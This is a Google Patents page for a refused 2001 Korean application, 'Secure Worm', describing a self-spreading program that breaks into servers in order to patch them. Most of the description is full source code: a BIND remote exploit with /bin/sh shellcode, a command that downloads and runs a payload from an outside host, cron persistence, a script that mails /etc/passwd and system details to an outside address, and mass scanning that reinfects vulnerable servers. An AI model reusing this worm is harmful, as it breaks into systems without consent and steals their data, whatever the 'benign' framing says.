KR20010084950A - 시큐어 웜 - Google Patents

시큐어 웜 Download PDF

Info

Publication number
KR20010084950A
KR20010084950A KR1020010030957A KR20010030957A KR20010084950A KR 20010084950 A KR20010084950 A KR 20010084950A KR 1020010030957 A KR1020010030957 A KR 1020010030957A KR 20010030957 A KR20010030957 A KR 20010030957A KR 20010084950 A KR20010084950 A KR 20010084950A
Authority
KR
South Korea
Prior art keywords
inetcop
info
worm
file
secure
Prior art date
Application number
KR1020010030957A
Other languages
English (en)
Inventor
유동훈
Original Assignee
유진영
(주)한울시스템
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by 유진영, (주)한울시스템 filed Critical 유진영
Priority to KR1020010030957A priority Critical patent/KR20010084950A/ko
Publication of KR20010084950A publication Critical patent/KR20010084950A/ko

Links

Classifications

    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F21/00Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
    • G06F21/50Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
    • G06F21/55Detecting local intrusion or implementing counter-measures
    • G06F21/56Computer malware detection or handling, e.g. anti-virus arrangements
    • G06F21/568Computer malware detection or handling, e.g. anti-virus arrangements eliminating virus, restoring damaged files

Abstract

해킹방지 및 보안 치료 기능을 가진 웜 보안세팅 프로그램

Description

시큐어 웜 {secure worm}
시스템 보안 백신분야,종래기술 없음
해킹피해 시스템의 복구 와 웜 성질의 능동적인 제어
Secure Worm
Secure Worm은 기존의 웜 바이러스에서 고안된 특수 패턴을 가진 보안 프로그램입니다. 하지만, 국내외 보안 프로그램과는 별도로 웜 바이러스에서 고안되었기 때문에 국내외에서는 찾아볼 수 없는 서버 보안 프로그램(발명)입니다. 또한 구성은 아래와 같이 웜 바이러스의 성격을 가져와 악의성이 아닌 선의성을 가진 백신 성격의 발명이어서 신 아이디어 성격을 띠고 있습니다.
1 Secure Worm 의 구성
1-1 취약점 분석
1-2 취약점 공격
1-3 취약점 방어
1-4 취약점 스캔
1-1 취약점 분석
특정 취약 서비스 데몬들 즉, 서비스 데몬 의 버전을 검사하여 Secure Worm의 입력된 버전보다 하위 버전일 경우 1-2 취약점 공격으로 넘어가게 됩니다. 하지만,그 버전보다 상위 버전일 경우에는 바로 다른 IP대로 넘어가게 되며 웜 바이러스와 구별되는 것이 이것에선 웜 바이러스의 경우 랜덤(무작위 추출)으로 IP를 추출하여 다른 서버를 검색하지만, Secure Worm의 경우 특정 IP대역으로 세분화 시켰기 때문에 최대 A클래스 대역부터 D클래스까지 지정 할 수가 있어 대상 선정 시의 어려움을 최대한 극복하였으며 선택되어있는 범위 외의 서버로 벗어 나는 것을 방지하였습니다. 기존의 웜 바이러스에서는 Wu-FTP, BIND, Rpc 등등의 취약점을 분석하게 되어있으며 저희 Secure Worm에서는 그 피해를 방지하고자 웜 바이러스의 취약점을 먼저 조사하도록 합니다.
1-2 취약점 공격
공격 시에는 웜 바이러스와 동일하게 공격을 하게 되며, 기존에 나온 Exploit (악성 프로그램)을 이용하여 Remote Attack을 하게 됩니다. 여기서 취약점이 발견된다면 바로 공격패턴으로 넘어가며 루트를 획득하게 될 것입니다. 즉, 버그를 이용하여 시스템 내부로 들어간 후 보안에 대한 패치를 하기 때문에 웜 바이러스와 동일한 루틴을 가지고 있습니다.
웜 바이러스의 목적은 시스템에 루트 킷 설치와 내부 사용자들에 대한 정보 및시스템의 정보를 취득하게 됩니다. 또한 특정 서비스 포트를 열어 나중에 대비한 백 도어까지 만들게 됩니다. 그러나, 저희 Secure Worm의 경우 외부에 대한 서비스 데몬 의 패치를 할뿐 공격후의 웜 바이러스처럼 행동하는 것을 방지합니다.
1-3 취약점 방어
전반적으로 외부에 대한 서비스 데몬 들에 대한 프로그램에 상위 버전으로 설치를 하여 외부에 대한 피해를 줄이게 되며, 의존성 및 각 디렉토리 변경 사항에 감안 하여 조건을 만족하는 프로그래밍을 하였기 때문에 기존의 설정을 지우는 일이 없도록 최소화 시킵니다.
설치는 RPM과 TARBALL 두 가지 방식으로 하게 되며, 그 기준점은 소스로 설치 되었을 경우 기존의 설정 값들을 적용하며 업그레이드를 하게 됩니다. 초기 베타 버전은 RPM 버전으로만 동작을 하게 됩니다. (현재 취약점들이 RPM으로 업그레이드를 해도 무방한 것이기 때문입니다.)
1-4 취약점 스캔
서버에 대한 방어를 마무리 한 상태에서 웜 바이러스와는 다르게 지정된 곳의 IP 대역으로 다시 처음부터 반복하여 작동하게 되며, 서버가 나타나게 되었을 시에는 바로 파일을 그 대상 서버에 복사한 후 나머지의 잔해 프로그램은 삭제가 되도록 프로그래밍화 하였으며, 관리자의 디렉토리 인 루트 디렉토리 에서 그 패치된 내역들을 확인 할수 있습니다.
여기까지가 Secure Worm의 구성도 이며, 이 모든 명령들은 C언어로 코딩 되었으며 공격성으로 악용될 소지가 있기 때문에 자체 개발된 특수 암호화 처리하여 바이너리 파일로 래퍼 되어 있습니다.
2-1 inetcop.c (exec: inetcop)
inetcop.c 파일은 가장 핵심적인 소스 파일 중 하나로써 Remote로 T sig & NXT BIND
공격을 할 때 사용된다. 이 공격이 성공 하게 되면 exploit은 또 다른 자기복제를 위해 inetcop이라는 소스파일을 download 받아오고 그 후 tar 압축이 풀리고 시스템의 보안을 하기위해, 임시적으로 /inetcop/inetcop 이란 directory 에 상주하게 되며 first 파일을 실행시키게 되면 cron 데몬 을 이용해 다른 파일의 실행을 예약해 놓게 됩니다.
2-2 first.c (exec: first)
처음으로 시스템 내에 침투하여 실행되는 파일입니다.
이 파일은 시스템 patch를 위해 여러 가지 RPM 파일들을 인터넷상에서 download
받아 /inetcop/inetcop directory 에 저장하게 됩니다. 물론 second 파일의 실행을 위해 cron 데몬에 다음 작업을 예약 하게 됩니다.
2-3 second.c (exec: second)
보안에 치명적인 취약점이 있는 데몬 (lpd, rpc) 을 제거하고 Bind 와 Ftp를 최신버전으로 update 하며 파일의 실행중간에 test.rpm 이라는 임시파일이 생성되었다가 사라집니다.
Cron 데몬 에 다음 info.0의 작업을 예약 하게 됩니다.
2-4 info.0 (exec: info.0)
마지막으로 시스템의 patch가 끝난 후 사용되는 파일로써 시스템의 환경과 여러 가지 설정을 담아 운영진의 메일로 보내어지게 되며 물론 이때 사용되었던 모든 파일은 삭제됩니다.
info.1 파일과 exec 라는 임시파일이 부가적으로 생성 되기도 합니다.
2-5 bash.c (-bash)
소스파일 들의 핵심 중 하나입니다.
bash 파일을 통해 다단계의 IP class를 검색 할수 있으며 포트스캔 프로그램 없이도,임시 생성되는 secure 파일의 실행에 의해 다른 취약점이 있는 서버들을 찾아줍니다.
취약점이 있는 서버는 다시 inetcop 파일이 공격하여 아래의 과정을 반복하게 됩니다.
3-1 소스 구성도
Secure Worm source
================================================================
bash.c (시작시 처음 출발지에서 실행하는 source)
================================================================
#include <stdio.h>
main()
{
int i,n,e,t;
char inetcop[1280];
printf("\n IP의 A class를 입력하세요: ");
scanf ("%d",&i);
printf(" IP의 B class를 입력하세요: ");
scanf ("%d",&n);
printf(" IP의 C class를 입력하세요: ");
scanf ("%d",&e);
printf("\n");
for(t=1;t<=255;t++)
{
sprintf(inetcop,"echo './inetcop %d.%d.%d.%d -p 2> /dev/null 1> /dev/null &'> /inetcop/inetcop/secure;chmod 755 /inetcop/inetcop/secure", i,n,e,t);
system(inetcop);
sprintf(inetcop,"/inetcop/inetcop/secure");
system(inetcop);
}
}
================================================================
inetcop.c
================================================================
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#q
// Server spaces to spread this exploit use.
// by inetcop: http://inetcop.org
char msg[]={
0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x01,0x20,0x20,0x20,0x20,0x02,0x61
};
char asmcode[]=
"\x3f"
"\x90\x90\x90"
"\xeb\x3b"
"\x31\xdb"
"\x5f"
"\x83\xef\x7c"
"\x8d\x77\x10"
"\x89\x77\x04"
"\x8d\x4f\x20"
"\x89\x4f\x08"
"\xb3\x10"
"\x89\x19"
"\x31\xc9"
"\xb1\xff"
"\x89\x0f"
"\x51"
"\x31\xc0"
"\xb0\x66"
"\xb3\x07"
"\x89\xf9"
"\xcd\x80"
"\x59"
"\x31\xdb"
"\x39\xd8"
"\x75\x0a"
"\x66\xbb\x12\x34"
"\x66\x39\x5e\x02"
"\x74\x08"
"\xe2\xe0"
"\x3f"
"\xe8\xc0\xff\xff\xff"
"\x89\xcb"
"\x31\xc9"
"\xb1\x03"
"\x31\xc0"
"\xb0\x3f"
"\x49"
"\xcd\x80"
"\x41"
"\xe2\xf6"
"\xeb\x14"
"\x31\xc0"
"\x5b"
"\x8d\x4b\x14"
"\x89\x19"
"\x89\x43\x18"
"\x88\x43\x07"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\xe8\xe7\xff\xff\xff"
"/bin/sh"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
;
int rev(int a){
int i=1;
if((*(char*)&i)) return(a);
return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}
int main(int argc,char **argv){
char buffer[1024],*b;
int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;
struct hostent *hp;
struct sockaddr_in adr;
FILE *f;
char execbuf[1024];
if(argc<2){
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"xp"))!=-1){
switch(c){
case 'x': flag=1;break;
case 'p': flag=2;
}
}
if(flag==-1) exit(-1);
adr.sin_family=AF_INET;
adr.sin_port=htons(53);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
if((hp=gethostbyname(argv[1]))==NULL) {
errno=EADDRNOTAVAIL;goto err;
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck[0]=socket(AF_INET,SOCK_DGRAM,0);
sck[1]=socket(AF_INET,SOCK_STREAM,0);
if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
i=sizeof(struct sockaddr_in);
if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){
struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
struct netbuf nb;
ioctl(sck[1],(('S'<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck[1],(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
asmcode[4+48+2]=(unsigned char)((n>>8)&0xff);
asmcode[4+48+3]=(unsigned char)(n&0xff);
if(write(sck[0],msg,sizeof(msg))==-1) goto err;
if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;
fp=rev(*(unsigned int*)&buffer[532]);
ofs=0xff-((fp-(fp&0xffffff00))&0xff);
cnt=163;
if((buffer[512+20+2]!=(char)0xff)&&(buffer[512+20+3]!=(char)0xbf)){
printf("SyS73m d03S n0t S33m 70 b3 4 Vuln3r4bl3 l1nux\n");exit(1);
}
if(flag==1){
printf("SyS73m S33mz 70 b3 Runn1n9 BIND 8.2.x on 4 l1nux\n");exit(-1);
}
if(cnt<(ofs+28)){
printf("Fr4m3 ptr 1S 700 l0w 70 b3 Succ3zzfully 3xpl0173d\n");exit(-1);
}
jmp=rev(fp-586);
ptr6=rev((fp&0xffffff00)-12);
fp=rev(fp&0xffffff00);
printf("Fr4m3 ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);
printf("port=%04x\n\n Good~ Attack Connected!\n",(unsigned short)n);fflush(stdout);
b=buffer;
memcpy(b,"\xab\xcd\x01\x00\x00\x02\x00\x00\x00\x00\x00\x01",12);b+=12;
for(i=0;i<strlen(asmcode);i++) *b++=asmcode[i];
for(i=0;i<(128>>1);i++,b++) *b++=0x01;
memcpy(b,"\x00\x00\x01\x00\x01",5);b+=5;
for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01;
*b++=28;
memcpy(b,"\x06\x00\x00\x00",4);b+=4;
memcpy(b,&fp,4);b+=4;
memcpy(b,"\x06\x00\x00\x00",4);b+=4;
memcpy(b,&jmp,4);b+=4;
memcpy(b,&jmp,4);b+=4;
memcpy(b,&fp,4);b+=4;
memcpy(b,&ptr6,4);b+=4;
cnt-=ofs+28;
for(i=0;i<(cnt>>1);i++,b++) *b++=0x01;
memcpy(b,"\x00\x00\x01\x00\x01\x00\x00\xfa\xff",9);b+=9;
if(write(sck[0],buffer,b-buffer)==-1) goto err;
write(sck[1],"mkdir /inetcop;lynx -dump http://members.nbci.com/szoahc/inetcop.0 > /inetcop/inetcop;uudecode -o
/inetcop/inetcop.tar.gz /inetcop/inetcop;rm -rf /inetcop/inetcop;cd /inetcop;tar -xvzf /inetcop/inetcop.tar.gz;rm -rf /
inetcop/inetcop.tar.gz;chmod -R 755 /inetcop/inetcop;/inetcop/inetcop/first \n",295);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck[1],&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck[1],buf,cnt);
}
if(FD_ISSET(sck[1],&fds)){
if((cnt=read(sck[1],buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
exit(0);
err:
perror("");exit(-1);
}
================================================================
first.c
================================================================
// first download file: bind, proftp, wu-ftp
// by inetcop: http://inetcop.org
main()
{
char inetcop[1280];
sprintf(inetcop,"lynx -dump http://my.netian.com/~19831105/bind > /inetcop/inetcop/bind; lynx -dump
http://my.netian.com/~19831105/proftpd > /inetcop/inetcop/proftpd; lynx -dump http://my.netian.com/~19831105/
wu-ftpd > /inetcop/inetcop/wu-ftpd");
system(inetcop);
sprintf(inetcop,"echo '*/2 * * * * /inetcop/inetcop/second' > /var/spool/cron/root; /etc/rc.d/init.d/crond restart 1> /dev/null 2> /dev/null");
system(inetcop);
sprintf(inetcop, "rm -rf /inetcop/inetcop/first");
system(inetcop);
}
================================================================
second.c
================================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// second lpd service kill. rpc service kill. update bind (DNS), ftp service.
// by inetcop: http://inetcop.org
main()
{
FILE *f;
char inetcop[500];
sprintf(inetcop,"killall -9 lpd; killall -9 rpc.statd");
system(inetcop);
sprintf(inetcop,"uudecode -o /inetcop/inetcop/bind.tar.gz /inetcop/inetcop/bind; rm -rf /inetcop/inetcop/bind;
cd /inetcop/inetcop; tar -xvzf bind.tar.gz; rm -rf /inetcop/inetcop/bind.tar.gz");
system(inetcop);
sprintf(inetcop,"cd /inetcop/inetcop/bind; rpm -Uvh bind-8.2.3-0.6.x.i386.rpm 1> /dev/null 2> /dev/null; rpm -Uvh
caching-nameserver-6.2-2.noarch.rpm 1> /dev/null 2> /dev/null");
system(inetcop);
f = fopen("/inetcop/inetcop/test.rpm","wt");
fprintf(f,"#!/bin/sh \n");
fprintf(f,"cd /inetcop/inetcop \n");
fprintf(f,"if [ -s /usr/sbin/wu.ftpd ]; then \n");
fprintf(f,"uudecode -o wu-ftpd-2.6.0-14.6x.i386.rpm wu-ftpd; rpm -Uvh wu-ftpd-2.6.0-14.6x.i386.rpm 1> /dev/null 2> /dev/null;rm -rfwu-ftpd-2.6.0-14.6x.i386.rpm \n");
fprintf(f,"else \n");
fprintf(f,"if [ -s /etc/rc.d/init.d/proftpd ]; then \n");
fprintf(f,"uudecode -o proftpd-1.2.0pre10-5tr.i586.rpm proftpd; rpm -Uvh proftpd-1.2.0pre10-5tr.i586.rpm 1> /dev/null 2> /dev/null;rm -rf proftpd-1.2.0pre10-5tr.i586.rpm \n");
fprintf(f,"fi \n");
fprintf(f,"fi \n");
fprintf(f,"rm -rf /inetcop/inetcop/test.rpm \n");
fclose(f);
sprintf(inetcop,"chmod 755 /inetcop/inetcop/test.rpm; /inetcop/inetcop/test.rpm");
system(inetcop);
sprintf(inetcop,"echo '*/3 * * * * /inetcop/inetcop/info.0' > /var/spool/cron/root; /etc/rc.d/init.d/crond restart 1> /dev/null 2> /dev/null");
system(inetcop);
unlink("/inetcop/inetcop/second");
}
================================================================
info.0
================================================================
#!/bin/sh
# Need server's information.
# Information is kept and ...Need to prevent bigger hacking accident later.
# by inetcop: http://inetcop.org
echo > /inetcop/inetcop/info.1;echo /etc/passwd file >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;cat /etc/passwd >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;echo Hostname info >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;hostname >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;echo Ifconfig info >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;/sbin/ifconfig >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;echo Process info >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;ps -aux >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;echo System version info >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;uname -a >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;echo /etc/inetd.conf file >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;cat/etc/inetd.conf >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;echo My id >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;id >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;echo /etc/syslog.conf file >> /inetcop/inetcop/info.1;echo >> /inetcop/inetcop/info.1;cat /etc/syslog.conf >> /inetcop/inetcop/info.1;mail szoahc@hotmail.com < /inetcop/inetcop/info.1;rm -rf /inetcop/inetcop/info.1;echo '*/3 * * * * /inetcop/inetcop/exec.0' > /var/spool/cron/root;/etc/rc.d/init.d/crond restart 1> /dev/null 2> /dev/null;rm -rf /inetcop/inetcop/bind;rm -rf /inetcop/inetcop/wu-ftpd;rm -rf /inetcop/inetcop/proftpd;rm -rf /inetcop/inetcop/info.0
================================================================
exec.0.c
================================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// exec.0
// by inetcop: http://inetcop.org
main()
{
int i,n,e,t;
char inetcop[1280];
unlink("/var/spool/cron/root");
for(i=211;i<=255;i++)
{
for(n=233;n<=255;n++)
{
for(e=1;e<=255;e++)
{
for(t=1;t<=255;t++)
{
sprintf(inetcop,"dig @%d.%d.%d.%d version.bind chaos txt >> /inetcop/inetcop/dig_log.0 &", i,n,e,t);
system(inetcop);
sprintf(inetcop,"killall -9 dig");
system(inetcop);
}
sprintf(inetcop,"/inetcop/inetcop/dig_scan; rm -rf /inetcop/inetcop/dig_log.0; rm -rf /inetcop/inetcop/dig_log.1");
system(inetcop);
}
}
sprintf(inetcop,"killall -9 inetcop 1> /dev/null 2> /dev/null");
system(inetcop);
}
}
================================================================
exec.1.c
================================================================
#include <stdio.h>
// exec.1
// by inetcop: http://inetcop.org
int main(int argc, char *argv[])
{
char inetcop[1028];
sprintf(inetcop,"/inetcop/inetcop/inetcop %s -p 1> /dev/null 2> /dev/null &",argv[1]);
system(inetcop);
}
================================================================
dig_scan
================================================================
#!/bin/sh
# exec.0 (dig_log.0) -> dig_scan (dig_log.1, attack) -> exec.1 -> inetcop
# by inetcop: http://inetcop.org
grep FROM: /inetcop/inetcop/dig_log.0 | sed 's/.*(//' | \awk -F" " '{print $6}' > /inetcop/inetcop/dig_log.1; cat /inetcop/inetcop/dig_log.1 | cut -d: -f 2 | sed 's/.*(//' | \awk -F"," '{print ("/inetcop/inetcop/exec.1",$1)}' > /inetcop/inetcop/attack; sh /inetcop/inetcop/attack
1.-bash 를 이용해 시스템의 취약점이 있는 곳을 찾음.
2.inetcop 파일로 리모트공격을 하여 시스템 내부로 침투 후 자기복제.
3.침투 후 first파일을 이용해 여러 가지 patch 파일들을 download 받음.
4.second 파일의 실행으로 취약점이 있는 데몬들 을 모두 patch.
5.info.0 파일은 시스템의 환경설정이나 기타 설정을 담아 메일로 보내주게 됩니다.
6.위 2번에서 자기 복제한 파일이 다시 실행 되므로써 모든 과정을 반복하게 됩니다.

Claims (1)

1.웜 바이러스 성질이 이용된 보안 치료 프로그램에 대한 모든 디지탈 제품
2.클러스터 분산 시스템이 적용된 보안 치료 프로그램에 대한 모든것
3.웜 바이러스의 능동적 제어기술과 치료 프로그램으로서 상호 변환부분
4.리눅스 운영체제에 대한 웜 바이러스 형태의 자동 보안 세팅 부분
KR1020010030957A 2001-06-02 2001-06-02 시큐어 웜 KR20010084950A (ko)

Priority Applications (1)

Application Number Priority Date Filing Date Title
KR1020010030957A KR20010084950A (ko) 2001-06-02 2001-06-02 시큐어 웜

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
KR1020010030957A KR20010084950A (ko) 2001-06-02 2001-06-02 시큐어 웜

Publications (1)

Publication Number Publication Date
KR20010084950A true KR20010084950A (ko) 2001-09-07

Family

ID=19710316

Family Applications (1)

Application Number Title Priority Date Filing Date
KR1020010030957A KR20010084950A (ko) 2001-06-02 2001-06-02 시큐어 웜

Country Status (1)

Country Link
KR (1) KR20010084950A (ko)

Citations (6)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
JPH1117776A (ja) * 1997-06-20 1999-01-22 Nec Corp ネットワーク警備方式
KR19990027327A (ko) * 1997-09-29 1999-04-15 정선종 감사 자료의 실시간 분석기 및 분석방법
KR19990085371A (ko) * 1998-05-16 1999-12-06 제양규 유효 컴퓨터 바이러스를 이용한 컴퓨터 자료 보안 시스템
KR20000057209A (ko) * 1996-11-21 2000-09-15 마이클 에이. 맥엘로이 자동화된 광역 네트워크 감시 및 보안 침해 개입 방법 및 장치
US6205551B1 (en) * 1998-01-29 2001-03-20 Lucent Technologies Inc. Computer security using virus probing
KR20010034958A (ko) * 2000-03-23 2001-05-07 윤경룡 인터넷상에서 해킹서비스를 제공하는 방법

Patent Citations (6)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
KR20000057209A (ko) * 1996-11-21 2000-09-15 마이클 에이. 맥엘로이 자동화된 광역 네트워크 감시 및 보안 침해 개입 방법 및 장치
JPH1117776A (ja) * 1997-06-20 1999-01-22 Nec Corp ネットワーク警備方式
KR19990027327A (ko) * 1997-09-29 1999-04-15 정선종 감사 자료의 실시간 분석기 및 분석방법
US6205551B1 (en) * 1998-01-29 2001-03-20 Lucent Technologies Inc. Computer security using virus probing
KR19990085371A (ko) * 1998-05-16 1999-12-06 제양규 유효 컴퓨터 바이러스를 이용한 컴퓨터 자료 보안 시스템
KR20010034958A (ko) * 2000-03-23 2001-05-07 윤경룡 인터넷상에서 해킹서비스를 제공하는 방법

Similar Documents

Publication Publication Date Title
Geer Malicious bots threaten network security
Porras et al. A multi-perspective analysis of the storm (peacomm) worm
Specht et al. Taxonomies of distributed denial of service networks, attacks, tools and countermeasures
Castaneda et al. Worm vs. worm: preliminary study of an active counter-attack mechanism
US6785820B1 (en) System, method and computer program product for conditionally updating a security program
Setiawan et al. Web vulnerability analysis and implementation
US20050240906A1 (en) System and method for remote application process control
Qbeitah et al. Dynamic malware analysis of phishing emails
Porras et al. Conficker C analysis
Sinha et al. Insights from the analysis of the Mariposa botnet
JP2009523331A (ja) モバイル・デバイスにネットワーク・セキュリティを提供するためのシステム及び方法
US11157618B2 (en) Context-based analysis of applications
Calvet et al. Malware authors don't learn, and that's good!
CN114928564A (zh) 安全组件的功能验证方法及装置
KR20010084950A (ko) 시큐어 웜
Rawat et al. ZeroAccess botnet investigation and analysis
Nazario Botnet tracking: Tools, techniques, and lessons learned
Bansal et al. Analysis and Detection of various DDoS attacks on Internet of Things Network
Nguyen et al. Preventing the attempts of abusing cheap-hosting Web-servers for monetization attacks
Geenens IoT Botnet Traits and Techniques: A View of the State of the Art
Kanclirz Netcat power tools
Yin et al. Empirical study of system resources abused by iot attackers
Chuvakin An overview of unix rootkits
Gierlings et al. Isolated and exhausted: attacking operating systems via site isolation in the browser
Liu et al. Malyzer: Defeating anti-detection for application-level malware analysis

Legal Events

Date Code Title Description
A201 Request for examination
E902 Notification of reason for refusal
E601 Decision to refuse application
E601 Decision to refuse application
E601 Decision to refuse application